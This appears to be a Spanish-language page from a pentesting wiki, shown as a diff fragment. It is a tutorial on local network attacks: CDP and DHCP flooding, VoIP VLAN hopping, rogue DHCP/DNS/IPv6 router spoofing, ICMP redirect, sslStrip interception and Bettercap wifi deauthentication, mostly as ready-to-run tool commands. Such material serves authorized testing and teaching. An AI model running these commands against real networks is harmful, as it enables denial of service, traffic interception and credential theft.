**Por defecto, el CDP envía anuncios a todos sus puertos.** Pero, ¿qué pasa si un intruso se conecta a un puerto en el mismo switch? Usando un sniffer de red, ya sea **Wireshark**, **tcpdump** o **Yersinia**, podría extraer **información valiosa sobre el dispositivo en sí**, desde su modelo hasta la versión de Cisco IOS. Usando esta información, podrá enumerar la misma versión de Cisco IOS y encontrar la vulnerabilidad y luego explotarla.
|
||||
|
||||
#### Ataque de inundación CDP <a href="#0d6a" id="0d6a"></a>
|
||||
|
||||
Puede realizar un ataque DoS a un switch CISCO agotando la memoria del dispositivo simulando dispositivos CISCO reales.
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
|
||||
# Or you could use the GUI
|
||||
sudo yersinia -G
|
||||
```
|
||||
Seleccione la opción de **tabla de inundación CDP** y comience el ataque. La CPU del switch se sobrecargará, así como la tabla de vecinos CDP, lo que resultará en una "parálisis de red".
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ataque de Impersonación CDP
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
También se puede utilizar [**scapy**](https://github.com/secdev/scapy/). Asegúrese de instalarlo con el paquete `scapy/contrib`.
|
||||
|
||||
### Ataques VoIP
|
||||
|
||||
Aunque están destinados a ser utilizados por los teléfonos de Voz sobre Protocolo de Internet (VoIP) de los empleados, los dispositivos modernos de VoIP están cada vez más integrados con dispositivos de IoT. Muchos empleados ahora pueden desbloquear puertas usando un número de teléfono especial, controlar el termostato de la habitación...
|
||||
|
||||
La herramienta [**voiphopper**](http://voiphopper.sourceforge.net) imita el comportamiento de un teléfono VoIP en entornos de Cisco, Avaya, Nortel y Alcatel-Lucent. Descubre automáticamente el ID de VLAN correcto para la red de voz utilizando uno de los protocolos de descubrimiento de dispositivos que admite, como el Protocolo de Descubrimiento de Cisco (CDP), el Protocolo de Configuración Dinámica de Hosts (DHCP), el Protocolo de Descubrimiento de Extremos de Medios de Capa de Enlace de Enlace (LLDP-MED) y ARP 802.1Q.
|
||||
|
||||
**VoIP Hopper** admite **tres** modos CDP. El modo **sniff** inspecciona los paquetes de red e intenta localizar el ID de VLAN. Para usarlo, establezca el parámetro **`-c`** en `0`. El modo **spoof** genera paquetes personalizados similares a los que transmitiría un dispositivo VoIP real en la red corporativa. Para usarlo, establezca el parámetro **`-c`** en **`1`**. El modo de suplantación con un paquete **pre-hecho** envía los mismos paquetes que un teléfono IP Cisco 7971G-GE. Para usarlo, establezca el parámetro **`-c`** en **`2`**.
|
||||
|
||||
Utilizamos el último método porque es el enfoque más rápido. El parámetro **`-i`** especifica la **interfaz de red** del atacante, y el parámetro **`-E`** especifica el **nombre del dispositivo VOIP** que se está imitando. Elegimos el nombre SEP001EEEEEEEEE, que es compatible con el formato de nomenclatura de Cisco para los teléfonos VoIP. El formato consiste en la palabra "SEP" seguida de una dirección MAC. En entornos corporativos, se puede imitar un dispositivo VoIP existente mirando la etiqueta MAC en la parte posterior del teléfono; presionando el botón Configuración y seleccionando la opción Información del modelo en la pantalla del teléfono; o conectando el cable Ethernet del dispositivo VoIP a su computadora portátil y observando las solicitudes CDP del dispositivo con Wireshark.
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
Si la herramienta se ejecuta correctamente, la red **VLAN asignará una dirección IPv4 al dispositivo del atacante**.
|
||||
|
||||
### Ataques DHCP
|
||||
|
||||
#### Enumeración
|
||||
```bash
|
||||
nmap --script broadcast-dhcp-discover
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||||
WARNING: No targets were specified, so 0 hosts scanned.
|
||||
Pre-scan script results:
|
||||
| broadcast-dhcp-discover:
|
||||
| Response 1 of 1:
|
||||
| IP Offered: 192.168.1.250
|
||||
| DHCP Message Type: DHCPOFFER
|
||||
| Server Identifier: 192.168.1.1
|
||||
| IP Address Lease Time: 1m00s
|
||||
| Subnet Mask: 255.255.255.0
|
||||
| Router: 192.168.1.1
|
||||
| Domain Name Server: 192.168.1.1
|
||||
|_ Domain Name: mynet
|
||||
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
Se pueden realizar **dos tipos de DoS** contra servidores DHCP. El primero consiste en **simular suficientes hosts falsos para usar todas las posibles direcciones IP**. Este ataque solo funcionará si se pueden ver las respuestas del servidor DHCP y completar el protocolo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Por ejemplo, esto **no es posible en redes Wifi**.
|
||||
|
||||
Otra forma de realizar un DoS de DHCP es enviar un **paquete DHCP-RELEASE utilizando como código fuente todas las posibles IP**. Entonces, el servidor pensará que todo el mundo ha terminado de usar la IP.
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Una forma más automática de hacer esto es usando la herramienta [DHCPing](https://github.com/kamorin/DHCPig).
|
||||
|
||||
Podrías usar los ataques DoS mencionados para forzar a los clientes a obtener nuevas concesiones dentro del entorno, y agotar los servidores legítimos para que se vuelvan irresponsivos. Entonces, cuando los legítimos intenten reconectarse, **puedes servir valores maliciosos mencionados en el siguiente ataque**.
|
||||
|
||||
#### Establecer valores maliciosos
|
||||
|
||||
Puedes usar el script DHCP de Responder (_/usr/share/responder/DHCP.py_) para establecer un servidor DHCP falso. Establecer una puerta de enlace maliciosa no es ideal, porque la conexión secuestrada es solo semidúplex (es decir, capturamos paquetes de salida del cliente, pero no las respuestas de la puerta de enlace legítima). Como tal, recomendaría establecer un servidor DNS o WPAD falso para capturar tráfico HTTP y credenciales en particular.
|
||||
|
||||
| Descripción | Ejemplo |
|
||||
| ------------------------------------------- | ---------------------------------------------------------------------------- |
|
||||
| Nuestra dirección IP, anunciada como una puerta de enlace | _-i 10.0.0.100_ |
|
||||
| El nombre de dominio DNS local (opcional) | _-d example.org_ |
|
||||
| Dirección IP del router/puerta de enlace original | _-r 10.0.0.1_ |
|
||||
| Dirección IP del servidor DNS primario | _-p 10.0.0.100_ |
|
||||
| Dirección IP del servidor DNS secundario (opcional) | _-s 10.0.0.1_ |
|
||||
| La máscara de red de la red local | _-n 255.255.255.0_ |
|
||||
| La interfaz para escuchar el tráfico DHCP en | _-I eth1_ |
|
||||
| Dirección de configuración WPAD (URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) |
|
||||
| Suplantar la dirección IP de la puerta de enlace predeterminada | -S |
|
||||
| Responder a todas las solicitudes DHCP (muy ruidoso) | -R |
|
||||
|
||||
### **Ataques EAP**
|
||||
|
||||
Aquí hay algunas tácticas de ataque que se pueden usar contra implementaciones 802.1X:
|
||||
|
||||
* Fuerza bruta activa de contraseñas a través de EAP
|
||||
* Atacar el servidor RADIUS con contenido EAP malformado _\*\*_(exploits)
|
||||
* Captura de mensajes EAP y cracking de contraseñas sin conexión (EAP-MD5 y PEAP)
|
||||
* Forzar la autenticación EAP-MD5 para evitar la validación del certificado TLS
|
||||
* Inyectar tráfico de red malicioso al autenticar usando un hub o similar
|
||||
|
||||
Si el atacante está entre la víctima y el servidor de autenticación, podría intentar degradar (si es necesario) el protocolo de autenticación a EAP-MD5 y capturar el intento de autenticación. Luego, podría realizar un ataque de fuerza bruta usando:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### Ataques FHRP (GLBP y HSRP) <a href="#6196" id="6196"></a>
|
||||
|
||||
**FHRP** (Protocolo de Redundancia de Primer Salto) es una clase de protocolos de red diseñados para **crear un sistema de enrutamiento redundante en caliente**. Con FHRP, los routers físicos pueden combinarse en un solo dispositivo lógico, lo que aumenta la tolerancia a fallos y ayuda a distribuir la carga.
|
||||
|
||||
**Los ingenieros de Cisco Systems han desarrollado dos protocolos FHRP, GLBP y HSRP.**
|
||||
|
||||
{% content-ref url="glbp-and-hsrp-attacks.md" %}
|
||||
[glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RIP
|
||||
|
||||
Existen tres versiones del Protocolo de Información de Enrutamiento (RIP): RIP, RIPv2 y RIPng. RIP y RIPv2 utilizan datagramas UDP enviados a pares a través del puerto 520, mientras que RIPng transmite datagramas a través de multidifusión IPv6 a través del puerto UDP 521. RIPv2 introdujo soporte de autenticación MD5. RIPng no incorpora autenticación nativa; en cambio, depende de los encabezados IPsec AH y ESP opcionales dentro de IPv6.
|
||||
|
||||
Para obtener más información sobre cómo atacar este protocolo, consulte el libro _**Network Security Assessment: Know Your Network (3rd edition).**_
|
||||
|
||||
### Ataques EIGRP
|
||||
|
||||
**EIGRP (Protocolo de Enrutamiento de Puerta de Enlace Interior Mejorado)** es un protocolo de enrutamiento dinámico. **Es un protocolo de vector de distancia.** Si no hay **autenticación** y configuración de interfaces pasivas, un **intruso** puede interferir en el enrutamiento EIGRP y causar **envenenamiento de tablas de enrutamiento**. Además, la red EIGRP (en otras palabras, el sistema autónomo) **es plana y no tiene segmentación en ninguna zona**. Si un **atacante inyecta una ruta**, es probable que esta ruta se **propague** por todo el sistema autónomo EIGRP.
|
||||
|
||||
Para atacar un sistema EIGRP se requiere **establecer una vecindad con un enrutador EIGRP legítimo**, lo que abre muchas posibilidades, desde reconocimiento básico hasta varias inyecciones.
|
||||
|
||||
\*\*\*\*[**FRRouting**](https://frrouting.org/) le permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesita hacer es implementarlo en el sistema del atacante y puede fingir ser un enrutador legítimo en el dominio de enrutamiento.
|
||||
|
||||
{% content-ref url="eigrp-attacks.md" %}
|
||||
[eigrp-attacks.md](eigrp-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
\*\*\*\*[**Coly**](https://code.google.com/p/coly/) también admite la captura de transmisiones EIGRP y la inyección de paquetes para manipular la configuración de enrutamiento. Para obtener más información sobre cómo atacarlo con Coly, consulte _**Network Security Assessment: Know Your Network (3rd edition).**_
|
||||
|
||||
### OSPF
|
||||
|
||||
La mayoría de las implementaciones de Open Shortest Path First (OSPF) utilizan MD5 para proporcionar autenticación entre routers. Loki y John the Ripper pueden capturar y atacar hashes MD5 para revelar la clave, que luego se puede utilizar para anunciar nuevas rutas. Los parámetros de ruta se establecen mediante la pestaña _Injection_, y la clave se establece en _Connection_.
|
||||
|
||||
Para obtener más información sobre cómo atacar este protocolo, consulte el libro _**Network Security Assessment: Know Your Network (3rd edition).**_
|
||||
|
||||
### Otras herramientas y fuentes genéricas
|
||||
|
||||
* [**Above**](https://github.com/c4s73r/Above): Herramienta para escanear el tráfico de red y encontrar vulnerabilidades
|
||||
* Puede encontrar más información sobre ataques de red [aquí](https://github.com/Sab0tag3d/MITM-cheatsheet). _(TODO: Leer todo y todos los nuevos ataques, si los hay)_
|
||||
|
||||
## **Suplantación**
|
||||
|
||||
El atacante configura todos los parámetros de red (GW, IP, DNS) del nuevo miembro de la red enviando respuestas DHCP falsas.
|
||||
```bash
|
||||
Ettercap
|
||||
yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
Revisa la [sección anterior](./#arp-spoofing).
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect consiste en enviar un paquete ICMP tipo 1 código 5 que indica que el atacante es la mejor manera de llegar a una IP. Luego, cuando la víctima quiere contactar a la IP, enviará el paquete a través del atacante.
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
|
||||
```
|
||||
### Suplantación de DNS
|
||||
|
||||
El atacante resolverá algunos (o todos) los dominios que el víctima solicite.
|
||||
```bash
|
||||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||||
```
|
||||
**Configurar DNS propio con dnsmasq**
|
||||
|
||||
Dnsmasq es un servidor DNS ligero y fácil de configurar que se puede utilizar para configurar un DNS personalizado en su red. Puede utilizar dnsmasq para redirigir nombres de dominio a direcciones IP específicas, bloquear el acceso a sitios web no deseados y mucho más.
|
||||
|
||||
Para configurar dnsmasq, primero debe instalarlo en su sistema. Luego, puede editar el archivo de configuración para especificar las reglas de redirección y bloqueo que desea aplicar. Una vez que haya configurado dnsmasq, puede configurar su sistema para utilizarlo como servidor DNS predeterminado.
|
||||
|
||||
Tenga en cuenta que la configuración de un servidor DNS personalizado puede tener implicaciones de seguridad y privacidad. Asegúrese de comprender los riesgos antes de implementar esta solución en su red.
|
||||
```bash
|
||||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||||
dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### Pasarelas Locales
|
||||
|
||||
A menudo existen múltiples rutas a sistemas y redes. Al construir una lista de direcciones MAC dentro de la red local, use _gateway-finder.py_ para identificar hosts que admitan el reenvío de IPv4.
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
root@kali:~# arp-scan -l | tee hosts.txt
|
||||
Interface: eth0, datalink type: EN10MB (Ethernet)
|
||||
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
|
||||
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
|
||||
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
|
||||
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
|
||||
|
||||
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
|
||||
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
[+] Using interface eth0 (-I to change)
|
||||
[+] Found 3 MAC addresses in hosts.txt
|
||||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
```
|
||||
### [Suplantación de LLMNR, NBT-NS y mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Los sistemas de Microsoft utilizan Link-Local Multicast Name Resolution (LLMNR) y el servicio de nombres NetBIOS (NBT-NS) para la resolución local de hosts cuando fallan las búsquedas DNS. Las implementaciones de Apple Bonjour y Linux de configuración cero utilizan Multicast DNS (mDNS) para descubrir sistemas dentro de una red. Estos protocolos no están autenticados y transmiten mensajes a través de UDP; por lo tanto, los atacantes pueden explotarlos para dirigir a los usuarios a servicios maliciosos.
|
||||
|
||||
Puede suplantar servicios que son buscados por los hosts utilizando Responder para enviar respuestas falsas.\
|
||||
Lea aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Suplantación de WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Muchos navegadores utilizan la detección automática de proxy web (WPAD) para cargar la configuración del proxy desde la red. Un servidor WPAD proporciona la configuración del proxy del cliente a través de una URL específica (por ejemplo, [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) al ser identificado a través de cualquiera de los siguientes:
|
||||
|
||||
* DHCP, utilizando una entrada de código 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
|
||||
* DNS, buscando el nombre de host _wpad_ en el dominio local
|
||||
* Microsoft LLMNR y NBT-NS (en caso de fallo de búsqueda DNS)
|
||||
|
||||
Responder automatiza el ataque WPAD, ejecutando un proxy y dirigiendo a los clientes a un servidor WPAD malicioso a través de DHCP, DNS, LLMNR y NBT-NS.\
|
||||
Lea aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Suplantación de dispositivos SSDP y UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Puede ofrecer diferentes servicios en la red para intentar **engañar a un usuario** para que ingrese algunas **credenciales en texto plano**. **Más información sobre este ataque en** [**Suplantación de dispositivos SSDP y UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### Suplantación de vecino IPv6
|
||||
|
||||
Este ataque es muy similar a la suplantación de ARP pero en el mundo IPv6. Puede hacer que la víctima piense que la IPv6 de la puerta de enlace tiene la MAC del atacante.
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### Suplantación/Ataque de inundación de anuncios de router IPv6
|
||||
|
||||
Algunos sistemas operativos configuran por defecto la puerta de enlace a partir de los paquetes RA enviados en la red. Para declarar al atacante como router IPv6, se puede utilizar:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### Suplantación de DHCP IPv6
|
||||
|
||||
Por defecto, algunos sistemas operativos intentan configurar el DNS leyendo un paquete DHCPv6 en la red. Entonces, un atacante podría enviar un paquete DHCPv6 para configurarse a sí mismo como DNS. El DHCP también proporciona una dirección IPv6 a la víctima.
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
|
||||
mitm6
|
||||
```
|
||||
### HTTP (página falsa e inyección de código JS)
|
||||
|
||||
## Ataques en Internet
|
||||
|
||||
### sslStrip
|
||||
|
||||
Básicamente, lo que hace este ataque es, en caso de que el **usuario** intente **acceder** a una página **HTTP** que está **redirigiendo** a la versión **HTTPS**, **sslStrip** mantendrá una **conexión HTTP con** el **cliente y una conexión HTTPS con** el **servidor**, por lo que podrá **interceptar** la conexión en **texto plano**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
#iptables --flush
|
||||
#iptables --flush -t nat
|
||||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
Más información [aquí](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||||
|
||||
### sslStrip+ y dns2proxy para evitar HSTS
|
||||
|
||||
La **diferencia** entre **sslStrip+ y dns2proxy** frente a **sslStrip** es que **redirigirán** por ejemplo _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota la **w** extra) y establecerán la **dirección de este dominio como la dirección IP del atacante**. De esta manera, el **cliente** se **conectará** a _**wwww.facebook.com**_ **(el atacante)** pero detrás de escena **sslstrip+** mantendrá la **conexión real** a través de https con **www.facebook.com**.
|
||||
|
||||
El **objetivo** de esta técnica es **evitar HSTS** porque _**wwww**.facebook.com_ **no** se guardará en la **caché** del navegador, por lo que el navegador será engañado para realizar la **autenticación de Facebook en HTTP**.\
|
||||
Tenga en cuenta que para realizar este ataque, la víctima debe intentar acceder inicialmente a [http://www.faceook.com](http://www.faceook.com) y no a https. Esto se puede hacer modificando los enlaces dentro de una página http.
|
||||
|
||||
Más información [aquí](https://www.bettercap.org/legacy/#hsts-bypass), [aquí](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) y [aquí](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el ejemplo de** _**wwww.facebook.com**_ **de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## Escuchar TCP en el puerto
|
||||
```
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
```
|
||||
## Escucha TCP + SSL en puerto
|
||||
|
||||
#### Generar claves y certificado autofirmado
|
||||
```
|
||||
FILENAME=server
|
||||
# Generate a public/private key pair:
|
||||
openssl genrsa -out $FILENAME.key 1024
|
||||
# Generate a self signed certificate:
|
||||
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||||
# Generate the PEM file by just appending the key and certificate files:
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
#### Escuchar usando certificado
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
#### Escuchar usando certificado y redirigir a los hosts
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
A veces, si el cliente comprueba que la CA es válida, se podría **servir un certificado de otro nombre de host firmado por una CA**.\
|
||||
Otra prueba interesante es servir un **certificado del nombre de host solicitado pero autofirmado**.
|
||||
|
||||
Otras cosas que se pueden probar es intentar firmar el certificado con un certificado válido que no sea una CA válida. O usar la clave pública válida, forzar a usar un algoritmo como diffie hellman (uno que no necesite descifrar nada con la clave privada real) y cuando el cliente solicite una sonda de la clave privada real (como un hash) enviar una sonda falsa y esperar que el cliente no lo compruebe.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
# Events
|
||||
events.stream off #Stop showing events
|
||||
events.show #Show all events
|
||||
events.show 5 #Show latests 5 events
|
||||
events.clear
|
||||
|
||||
# Ticker (loop of commands)
|
||||
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
|
||||
|
||||
# Caplets
|
||||
caplets.show
|
||||
caplets.update
|
||||
|
||||
# Wifi
|
||||
wifi.recon on
|
||||
wifi.deauth BSSID
|
||||
wifi.show
|
||||
# Fake wifi
|
||||
set wifi.ap.ssid Banana
|
||||
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
|
||||
set wifi.ap.channel 5
|
||||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
### Notas de Descubrimiento Activo
|
||||
|
||||
Tenga en cuenta que cuando se envía un paquete UDP a un dispositivo que no tiene el puerto solicitado, se envía un ICMP (Puerto Inalcanzable).
|
||||
|
||||
### **Descubrimiento ARP**
|
||||
|
||||
Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC tiene que enviar una solicitud para cada dirección IP posible y solo responderán las que se estén utilizando.
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
Bettercap envía una solicitud MDNS (cada X ms) preguntando por **\_services\_.dns-sd.\_udp.local**. La máquina que ve este paquete suele responder a esta solicitud. Luego, solo busca máquinas que respondan a "servicios".
|
||||
|
||||
**Herramientas**
|
||||
|
||||
* Avahi-browser (--all)
|
||||
* Bettercap (net.probe.mdns)
|
||||
* Responder
|
||||
|
||||
### **NBNS (NetBios Name Server)**
|
||||
|
||||
Bettercap envía paquetes de difusión al puerto 137/UDP preguntando por el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
|
||||
### **SSDP (Simple Service Discovery Protocol)**
|
||||
|
||||
Bettercap envía paquetes SSDP de difusión buscando todo tipo de servicios (Puerto UDP 1900).
|
||||
|
||||
### **WSD (Web Service Discovery)**
|
||||
|
||||
Bettercap envía paquetes WSD de difusión buscando servicios (Puerto UDP 3702).
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
| Tipo de mensaje DHCPv6 | Tipo de mensaje DHCPv4 |
|
||||
| :--- | :--- |
|
||||
| Solicit \(1\) | DHCPDISCOVER |
|
||||
| Advertise \(2\) | DHCPOFFER |
|
||||
| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST |
|
||||
| Reply \(7\) | DHCPACK / DHCPNAK |
|
||||
| Release \(8\) | DHCPRELEASE |
|
||||
| Information-Request \(11\) | DHCPINFORM |
|
||||
| Decline \(9\) | DHCPDECLINE |
|
||||
| Confirm \(4\) | ninguno |
|
||||
| Reconfigure \(10\) | DHCPFORCERENEW |
|
||||
| Relay-Forw \(12\), Relay-Reply \(13\) | ninguno |
|
||||
|
||||
SOLICIT \(1\)
|
||||
|
||||
Un cliente DHCPv6 envía un mensaje Solicit para localizar servidores DHCPv6. ADVERTISE \(2\)
|
||||
|
||||
Un servidor envía un mensaje Advertise para indicar que está disponible para el servicio DHCP, en respuesta a un mensaje Solicit recibido de un cliente. REQUEST \(3\)
|
||||
|
||||
Un cliente envía un mensaje Request para solicitar parámetros de configuración, incluyendo direcciones IP o prefijos delegados, de un servidor específico. CONFIRM \(4\)
|
||||
|
||||
Un cliente envía un mensaje Confirm a cualquier servidor disponible para determinar si las direcciones que se le asignaron siguen siendo apropiadas para el enlace al que está conectado el cliente. Esto podría suceder cuando el cliente detecta un cambio de conectividad de capa de enlace o si se enciende y uno o más arrendamientos aún son válidos. El mensaje de confirmación se utiliza para confirmar si el cliente todavía está en el mismo enlace o si ha sido movido. No se validan los arrendamientos reales; solo la porción de prefijo de las direcciones o prefijos delegados. RENEW \(5\)
|
||||
|
||||
Un cliente envía un mensaje Renew al servidor que proporcionó originalmente las direcciones y parámetros de configuración del cliente para extender los tiempos de vida de las direcciones asignadas al cliente y actualizar otros parámetros de configuración. REBIND \(6\)
|
||||
|
||||
Un cliente envía un mensaje Rebind a cualquier servidor disponible para extender los tiempos de vida de las direcciones asignadas al cliente y actualizar otros parámetros de configuración; este mensaje se envía después de que un cliente no recibe respuesta a un mensaje Renew. REPLY \(7\)
|
||||
|
||||
Un servidor envía un mensaje Reply que contiene direcciones asignadas y parámetros de configuración en respuesta a un mensaje Solicit, Request, Renew, Rebind recibido de un cliente. Un servidor envía un mensaje Reply que contiene parámetros de configuración en respuesta a un mensaje Information-request. Un servidor envía un mensaje Reply en respuesta a un mensaje Confirm confirmando o denegando que las direcciones asignadas al cliente sean apropiadas para el enlace al que está conectado el cliente. Un servidor envía un mensaje Reply para confirmar la recepción de un mensaje Release o Decline. RELEASE \(8\)
|
||||
|
||||
